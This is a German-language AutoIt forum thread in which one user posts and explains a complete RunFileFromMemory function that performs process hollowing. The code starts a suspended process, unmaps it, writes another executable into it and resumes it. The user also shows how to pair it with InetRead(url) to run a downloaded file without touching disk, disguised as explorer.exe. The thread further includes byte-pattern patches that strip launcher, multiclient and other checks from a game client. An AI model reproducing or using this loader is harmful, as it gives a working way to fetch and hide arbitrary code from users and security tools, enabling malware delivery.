[Frage] Fileinstall + *.Ini wie verwenden?

[PenGuin :O]

Originally Posted by lolkop

kannst ja mal die forumssuche nutzen, und nach funfilefrommemory suchen.

die habe ich hier schon mehrfach gepostet. mit der funktion sollte es auch klappen, die datei direkt aus dem speicher heraus zu starten.

so brauchst du um das programm zu starten nichteinmal die datei.
kannst zb per inetread eine datei aus dem internet in den speicher laden und starten, ohne das die datei irgendwo auf dem rechner zwischengespeichert wird.

Ich schau mir die Funktion mal an, weil das finde ich sehr interessant, wie du Speicher im eigenen Programm aloziierst^^


EDIT: Wenn ich "funfilefrommemory" eingebe, findet er nichts ._.

[Mr. Pancake-Trader]

@lolkop
Ich habe ebenfalls dannach mal gesucht, bin aber nur in diesem Thema wieder gelandet...

Also wenn ich dich richtig verstehe, kann man damit ein Programm runterladen und dieses wird aber nicht auf die Festplatte gespeichert sondern sofort in den Arbeitsspeicher und da ausgeführt?
Würde mich sehr intressieren, ob sowas funktioniert.
Vllt. kannste ja mal n Link posten oder n Skript?

[lolkop]

es heist natürlich RunFileFromMemory und nicht FunFileFromMemory sry

[Mr. Pancake-Trader]

lolkop kann es sein das du in diesem Thema schon darüber gesprochen hast?



Mein Problem ist jetzt nur, ich kann nicht sogut Englisch^^

€: Ich hab mir mal das Skript n bissl angeschaut, so im groben...
Und wenn ich das richtig verstehe öffnest du die Datei Binär, und startest diese dann gleich, iwas mit Kernel32 (kp was des ist, hab ich schon öfters gehört^^) die Datei und erstellst so nen neuen Prozess.
Also kann ich dann die Datei eig. via Fileopen(Inetread(), 16) gleich in den Speicher laden?
Wenn das funktioniert bist du ein Genie ;D

[lolkop]

nein. du lädst die datei via inetread direkt binär in den speicher, und führst sie dann mit der funktion in einem anderen prozess aus. (zb im explorer)

[Mr. Pancake-Trader]

Ok, ich hab mir jetzt nochmal deine RunFileFromMemory Funktion angeschaut, nur werde ich daraus nicht schlau wie man die Datei via Inetread sofort in den Speicher laden kann, und ob deine Funktion dann überhaupp die .Exe findet da diese ja nicht auf der Festplatte gespeichert ist?

Oder warte mal, kannste mir vllt. kurz die Funktion n bissl erklären?
RunFileFromMemory(Binarystring von der Exe, Und was brauch ich dann hier?)

€:

Originally Posted by lolkop

; loading the file into the memory
$path = "elementclient.exe"
$file = FileOpen($path, 16)
$read = FileRead($file, FileGetSize($path))
FileClose($file)
; search and remove the launcher check
$read = StringRegExpReplace($read, '(558BEC6AFF68.{8}68.{8}64A100000000506489250000000081EC.{8}5356578965.{2}68.{8}8B5D.{2}53FF15.{8}83C4.{2}85C0)75(.{2}6A.{2}68.{8}68.{8}50FF15)', '${1}EB${2}')
; search and remove multiclient check
$read = StringRegExpReplace($read, '(8B4424.{2}83EC.{2}A3.{8}8A4424.{2}53558B2D.{8}56578B3D.{8}84C0BE.{8}75.{2}BE.{8}33DB84C074.{2}BB.{8}68.{8}68.{8}FF15.{8}85C0)74(.{2}6A.{2}68.{8}68.{8}6A00FF15)', '${1}EB${2}')
; search and remove the zoomlimit
$read = StringRegExpReplace($read, '(885E.{2}D985.{8}D846.{2}D956.{2}D81D.{8}.*?)75(.{2}894E.{2}8B073BC3)', '${1}EB${2}')
; search and remove the smile limit
$read = StringRegExpReplace($read, '(8B84B8.{8}8B4C24.{2}3B48.{2}7D.{2}83BB.{10})7D.{2}(518D4424.{2}5750E8.{8}83C4.{2}8B00)', '${1}9090${2}')
; search and remove the jump limit (only works clientsided)
$read = StringRegExpReplace($read, '(8A86.{8}84C00F85.{8}8B86.{8}E9.{8}8B86.{8}8BD0C1EA.{2}84D30F85.{8}8B96.{8}B9.{8}3BD1)0F8D.{8}(8A96.{8}84D20F85.{8}398E.{8}0F84.{8})', '${1}909090909090${2}')
; search and remove the freeze on inactive window
$read = StringRegExpReplace($read, '(68.{8}6A01E8.{8}BA.{8}83C4.{2}85D2EB.{2}389E.{8})0F84.{8}(8B4E.{2}6A01E8.{8}84C075.{2}68)', '${1}909090909090${2}')
;starting the patched file =)
RunFileFromMemory($read, $path)

Func RunFileFromMemory($bBinaryImage, $path)
    Local $tInput = DllStructCreate("byte[" & BinaryLen($bBinaryImage) & "]"), $pPointer
    DllStructSetData($tInput, 1, $bBinaryImage)
	$pPointer = DllStructGetPtr($tInput)
    Local $tSTARTUPINFO = DllStructCreate("dword  cbSize;ptr Reserved;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;dword YCountChars;dword FillAttribute;dword Flags;ushort ShowWindow;ushort Reserved2;ptr Reserved2;ptr hStdInput;ptr hStdOutput;ptr hStdError")
    Local $tPROCESS_INFORMATION = DllStructCreate("ptr Process;ptr Thread;dword ProcessId;dword ThreadId")
    $aCall = DllCall("kernel32.dll", "int", "CreateProcessW", "wstr", $path, "ptr", 0, "ptr", 0, "ptr", 0, "int", 0, "dword", 4, "ptr", 0, "ptr", 0, "ptr", DllStructGetPtr($tSTARTUPINFO), "ptr", DllStructGetPtr($tPROCESS_INFORMATION))
    Local $hProcess = DllStructGetData($tPROCESS_INFORMATION, "Process")
    Local $hThread = DllStructGetData($tPROCESS_INFORMATION, "Thread")
    Local $tCONTEXT = DllStructCreate("dword ContextFlags;dword Dr0;dword Dr1;dword Dr2;dword Dr3;dword Dr6;dword Dr7;dword ControlWord;dword StatusWord;dword TagWord;dword ErrorOffset;dword ErrorSelector;dword DataOffset;dword DataSelector;byte RegisterArea[80];dword Cr0NpxState;dword SegGs;dword SegFs;dword SegEs;dword SegDs;dword Edi;dword Esi;dword Ebx;dword Edx;dword Ecx;dword Eax;dword Ebp;dword Eip;dword SegCs;dword EFlags;dword Esp;dword SegS")
    DllStructSetData($tCONTEXT, "ContextFlags", 0x10002)
    $aCall = DllCall("kernel32.dll", "int", "GetThreadContext", "ptr", $hThread, "ptr", DllStructGetPtr($tCONTEXT))
    Local $tIMAGE_DOS_HEADER = DllStructCreate("char Magic[2];ushort BytesOnLastPage;ushort Pages;ushort Relocations;ushort SizeofHeader;ushort MinimumExtra;ushort MaximumExtra;ushort SS;ushort SP;ushort Checksum;ushort IP;ushort CS;ushort Relocation;ushort Overlay;char Reserved[8];ushort OEMIdentifier;ushort OEMInformation;char Reserved2[20];dword AddressOfNewExeHeader", $pPointer)
    $pPointer += DllStructGetData($tIMAGE_DOS_HEADER, "AddressOfNewExeHeader")
    Local $sMagic = DllStructGetData($tIMAGE_DOS_HEADER, "Magic")
    Local $tIMAGE_NT_SIGNATURE = DllStructCreate("dword Signature", $pPointer)
    $pPointer += 4
    Local $tIMAGE_FILE_HEADER = DllStructCreate("ushort Machine;ushort NumberOfSections;dword TimeDateStamp;dword PointerToSymbolTable;dword NumberOfSymbols;ushort SizeOfOptionalHeader;ushort Characteristics", $pPointer)
    Local $iNumberOfSections = DllStructGetData($tIMAGE_FILE_HEADER, "NumberOfSections")
    $pPointer += 20
    Local $tIMAGE_OPTIONAL_HEADER = DllStructCreate("ushort Magic;ubyte MajorLinkerVersion;ubyte MinorLinkerVersion;dword SizeOfCode;dword SizeOfInitializedData;dword SizeOfUninitializedData;dword AddressOfEntryPoint;dword BaseOfCode;dword BaseOfData;dword ImageBase;dword SectionAlignment;dword FileAlignment;ushort MajorOperatingSystemVersion;ushort MinorOperatingSystemVersion;ushort MajorImageVersion;ushort MinorImageVersion;ushort MajorSubsystemVersion;ushort MinorSubsystemVersion;dword Win32VersionValue;dword SizeOfImage;dword SizeOfHeaders;dword CheckSum;ushort Subsystem;ushort DllCharacteristics;dword SizeOfStackReserve;dword SizeOfStackCommit;dword SizeOfHeapReserve;dword SizeOfHeapCommit;dword LoaderFlags;dword NumberOfRvaAndSizes", $pPointer)
    $pPointer += 96
    Local $iMagic = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "Magic")
    Local $iEntryPointNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "AddressOfEntryPoint")
    $pPointer += 128
    Local $pOptionalHeaderImageBaseNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "ImageBase")
    Local $iOptionalHeaderSizeOfImageNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "SizeOfImage")
    Local $tPEB = DllStructCreate("byte InheritedAddressSpace;byte ReadImageFileExecOptions;byte BeingDebugged;byte Spare;ptr Mutant;ptr ImageBaseAddress;ptr LoaderData;ptr ProcessParameters;ptr SubSystemData;ptr ProcessHeap;ptr FastPebLock;ptr FastPebLockRoutine;ptr FastPebUnlockRoutine;dword EnvironmentUpdateCount;ptr KernelCallbackTable;ptr EventLogSection;ptr EventLog;ptr FreeList;dword TlsExpansionCounter;ptr TlsBitmap;dword TlsBitmapBits[2];ptr ReadOnlySharedMemoryBase;ptr ReadOnlySharedMemoryHeap;ptr ReadOnlyStaticServerData;ptr AnsiCodePageData;ptr OemCodePageData;ptr UnicodeCaseTableData;dword NumberOfProcessors;dword NtGlobalFlag;ubyte Spare2[4];int64 CriticalSectionTimeout;dword HeapSegmentReserve;dword HeapSegmentCommit;dword HeapDeCommitTotalFreeThreshold;dword HeapDeCommitFreeBlockThreshold;dword NumberOfHeaps;dword MaximumNumberOfHeaps;ptr ProcessHeaps;ptr GdiSharedHandleTable;ptr ProcessStarterHelper;ptr GdiDCAttributeList;ptr LoaderLock;dword OSMajorVersion;dword OSMinorVersion;dword OSBuildNumber;dword OSPlatformId;dword ImageSubSystem;dword ImageSubSystemMajorVersion;dword ImageSubSystemMinorVersion;dword GdiHandleBuffer[34];dword PostProcessInitRoutine;dword TlsExpansionBitmap;ubyte TlsExpansionBitmapBits[128];dword SessionId")
    $aCall = DllCall("kernel32.dll", "int", "ReadProcessMemory", "ptr", $hProcess, "ptr", DllStructGetData($tCONTEXT, "Ebx"), "ptr", DllStructGetPtr($tPEB),"dword", DllStructGetSize($tPEB), "dword*", 0)
    Local $hBaseAddress = DllStructGetData($tPEB, "ImageBaseAddress")
    $aCall = DllCall("kernel32.dll", "int", "WriteProcessMemory", "ptr", $hProcess, "ptr", DllStructGetData($tCONTEXT, "Ebx") + 8, "ptr*", $pOptionalHeaderImageBaseNEW, "dword", 4, "dword*", 0)
	$aCall = DllCall("ntdll.dll", "int", "NtUnmapViewOfSection", "ptr", $hProcess, "ptr", $hBaseAddress)
    $aCall = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "ptr", $hProcess, "ptr", $pOptionalHeaderImageBaseNEW, "dword", $iOptionalHeaderSizeOfImageNEW, "dword", 12288, "dword", 64)
    Local $pRemoteCode = $aCall[0]
    Local $pHEADERS_NEW = DllStructGetPtr($tIMAGE_DOS_HEADER)
    Local $iOptionalHeaderSizeOfHeadersNEW = DllStructGetData($tIMAGE_OPTIONAL_HEADER, "SizeOfHeaders")
	$aCall = DllCall("kernel32.dll", "int", "WriteProcessMemory", "ptr", $hProcess, "ptr", $pRemoteCode, "ptr", $pHEADERS_NEW, "dword", $iOptionalHeaderSizeOfHeadersNEW, "dword*", 0)
	Local $tIMAGE_SECTION_HEADER, $iSizeOfRawData, $pPointerToRawData, $iVirtualAddress
    For $i = 1 To $iNumberOfSections
        $tIMAGE_SECTION_HEADER = DllStructCreate("char Name[8];dword UnionOfVirtualSizeAndPhysicalAddress;dword VirtualAddress;dword SizeOfRawData;dword PointerToRawData;dword PointerToRelocations;dword PointerToLinenumbers;ushort NumberOfRelocations;ushort NumberOfLinenumbers;dword Characteristics", $pPointer)
        $iSizeOfRawData = DllStructGetData($tIMAGE_SECTION_HEADER, "SizeOfRawData")
        $pPointerToRawData = DllStructGetPtr($tIMAGE_DOS_HEADER) + DllStructGetData($tIMAGE_SECTION_HEADER, "PointerToRawData")
        $iVirtualAddress = DllStructGetData($tIMAGE_SECTION_HEADER, "VirtualAddress")
		If $iSizeOfRawData Then
            $aCall = DllCall("kernel32.dll", "int", "WriteProcessMemory", "ptr", $hProcess, "ptr", $pRemoteCode + $iVirtualAddress, "ptr", $pPointerToRawData, "dword", $iSizeOfRawData, "dword*", 0)
        EndIf
        $pPointer += 40
    Next
	DllStructSetData($tCONTEXT, "Eax", $pRemoteCode + $iEntryPointNEW)
	$aCall = DllCall("kernel32.dll", "int", "SetThreadContext", "ptr", $hThread, "ptr", DllStructGetPtr($tCONTEXT))
	$aCall = DllCall("kernel32.dll", "int", "ResumeThread", "ptr", $hThread)
    Return DllStructGetData($tPROCESS_INFORMATION, "ProcessId")
EndFunc

€2: Vllt. so?

RunFileFromMemory(Inetread(, Parameter für Binär), )
Aber welcher Parameter ist dafür das ich entscheiden kann in welchen Prozess ich das dann starten will?
Oder geht das dann nur in die Explorer.exe und in keinen andren Prozess?

[PenGuin :O]

Originally Posted by lolkop

nein. du lädst die datei via inetread direkt binär in den speicher, und führst sie dann mit der funktion in einem anderen prozess aus. (zb im explorer)

Ja genau, das isses, im Explorer, warum bin ich da nich drauf gekommen.
Und ich hab mir die ganze Zeit überlegt:
"Wie schafft der das im Speicher vom eigenen Programm, Adressseiten anzufordern "

[lolkop]

hier mal am beispiel von der calc.exe auf dem system gezeigt:

wie man sieht wird der prozess im taskmanager als explorer angezeigt.

für den user ist es so definitiv nicht möglich im nachhinein festzustallen, wo dieser prozess ursprünglich herkommt.

es ist auch garnicht mal leicht festzustellen, dass es sich hierbei nicht um den originalen explorer handelt.
erfahrene user, würden dies aber spätestens beim vergleich des mainmodules mit dem vom original bemerken.:

[Mr. Pancake-Trader]

Danke jetzt hab ichs verstanden
Also wenn ich das jetzt richtig verstanden habe kann ich das ganze z.B. so machen:
$calc_hwnd = Inetread(Website/***.exe, Parameter für Binär)
dann Fileread
und dann RunFileFromMemory

Wird dann der alte Explorer Prozess beendet, oder wird ein 2ter gestartet?
Ich nehme mal an es wird ein 2ter gestartet, nur mit dem Unterschied das dieser noch einen unterprozess hat mit der **.Exe die ich via Inetread runtergeladen habe? Liege ich da richtig?^^

Greetz

[lolkop]

-.- inetread läuft doch schon binär...
verstehe nicht so ganz, was du denn da immer noch mit file operationen willst

$file = InetRead($url)
RunFileFromMemory($file, $any_excutable_file_at_ur_pc)

und schon wir die datei direkt aus dem netz in den speicher geladen und ausgeführt, ohne irgendetwas auf der platte zu speichern.

und nein die datei wird nicht irgendwie irgendwo angehängt oder wie auch immer du das meinstest. die datei auf deinem pc wird nur gestartet, um so platz im speicher für dein file zu bekommen. der inhalt des hauptmodules wird aber komplett durch den von deinem file ersetzt, bevor es gestartet wird.

[Mr. Pancake-Trader]

Jetzt versteh ichs endlich
Also das bedeutet das man damit sozusagen nen Prozess vortäuscht?
Dieser aber dann den Inhalt ausführt wo man gerade runtergeladen hat.
Aber, ist das dann so das wenn der vorgesehene Speicher für die Exe zu klein ist dann der Rest der heruntergeladenen Datei dann nicht ausgeführt?
Oder wird zuerst die Datei - Größe der heruntergeladenen Datei ermittelt an den Prozess weitergegeben und dann erst gestartet?
Oder wird der Prozess erst gestartet und dannach der Inhalt der Exe überschrieben?
Nach der Frage hab ich eig. alles verstanden, hoffe ich mal xD
Ist schon krass man sucht ne Antwort aber bekommt 10 weitere Fragen^^

€: Zu dem Code von dir da oben noch ne Frage (Zu dem mit der elementclient.exe)
Kann man damit also wie wenn ich Memorywrite benutze Werte ändern, ja?
Aber dann wäre das ja von Vorteil da ich bei MemoryWrite wenn ich einen Wert dauerhaft geändert haben will in ner While Schleife laufen lassen muss.. Und das dann nicht ganz soviel Cpu zieht (Also weniger Cpu - Belastung mit der RunFileFromMemory?)

[lolkop]

Originally Posted by Mr. Pancake-Trader

Ist schon krass man sucht ne Antwort aber bekommt 10 weitere Fragen^^

das is so nicht ganz richtig. du suchst nach einer antwort, bekommst sie sofort, und stellst danach 10 sinnlose fragen, die darauf schließen lassen, dass du dir die antwort nicht nur nicht angesehen, geschweige denn getestet hast, sondern nichteinmal auch nur eine sekunde damit verbracht hast, über das bisher gesagt nachzudenken...

um mal deine fragen aufzulisten die nach meinem beispiel mit screenshot kamen:

1. "Wird dann der alte Explorer Prozess beendet, oder wird ein 2ter gestartet?"
2. "Also das bedeutet das man damit sozusagen nen Prozess vortäuscht?"
3. "Oder wird der Prozess erst gestartet und dannach der Inhalt der Exe überschrieben?"

jede deiner fragen wurde in dem post vor der jeweiligen frage beantwortet.

die lösung zu ersten wurde zugegebener weise nicht direkt als text gegeben, sondern ist eindeutig auf dem screenshot zu erkennen.

2.wurde von mir beantwortet bevor du die frage gestellt hast, und zwar genau hier:

die datei auf deinem pc wird nur gestartet, um so platz im speicher für dein file zu bekommen

und auch deine letzte frage wurde bevor du sie gestaellt hast beantwortet:

der inhalt des hauptmodules wird aber komplett durch den von deinem file ersetzt, bevor es gestartet wird.

also wenn du schon um hilfe bittest, wäre es doch wohl nicht zu viel verlangt, wenigstens einmal die antwort durchzulesen, bevor man sinnlose fragen stellt, die schon längst beantwortet wurden.

[Mr. Pancake-Trader]

Danke dir, ich hab natürlich deine Antworten gelesen und auch darüber nachgedacht nur leider nicht so ganz verstanden
Aber jetzt wo du mir das nochmal alles erklärt/zusammengefasst hast hat sich auch meine frage komplett geklärt

Greetz

[lolkop]

Originally Posted by Mr. Pancake-Trader

€: Zu dem Code von dir da oben noch ne Frage (Zu dem mit der elementclient.exe)
Kann man damit also wie wenn ich Memorywrite benutze Werte ändern, ja?
Aber dann wäre das ja von Vorteil da ich bei MemoryWrite wenn ich einen Wert dauerhaft geändert haben will in ner While Schleife laufen lassen muss.. Und das dann nicht ganz soviel Cpu zieht (Also weniger Cpu - Belastung mit der RunFileFromMemory?)

das kommt immer darauf an wie viel erfahrung du hast.
wer eine adresse mit WriteProcessMemory "freezen" will, der scheint an sich nicht allzuviel von reversing zu verstehen.

man sucht eigentlich immer nach den ursprungsquellen, welche für das ändern des wertes in den adressen zuständig sind, und eliminiert diese, bzw hebelt auf diese art und weise begrenzungen komplett aus.

in dem beispiel was ich dort gepostet hatte ging es um die maximale anzahl von smiles die man im chat verwenden darf. (In Perfect World)
diese ist von haus aus auf 3 begrenzt.
will man diese begrenzung umgehen, so kann man entweder durchgängig die aktuelle anzahl der smiles überschreiben, oder einmalig die vergleichsfunktion editieren.

sollte wohl klar sein was hier die bessere lösung wäre.
nur ist das finden von aktuellen werten natürlich immer leichter als diese zum ursprung zurück zu verfolgen. gerade für leute die nicht so vertraut mit "speicher-mods" sind, fällt der bessere weg leider aufgrund fehlender kenntnisse schon aus.

ob du das jetzt aber während der laufzeit des programms machst, oder bevor es wirklich gestartet wird, oder einfach direkt die datei umschreibst, ist hierbei absolut irrelevant.

[Mr. Pancake-Trader]

Ich glaub von dir kann ich noch ne Menge lernen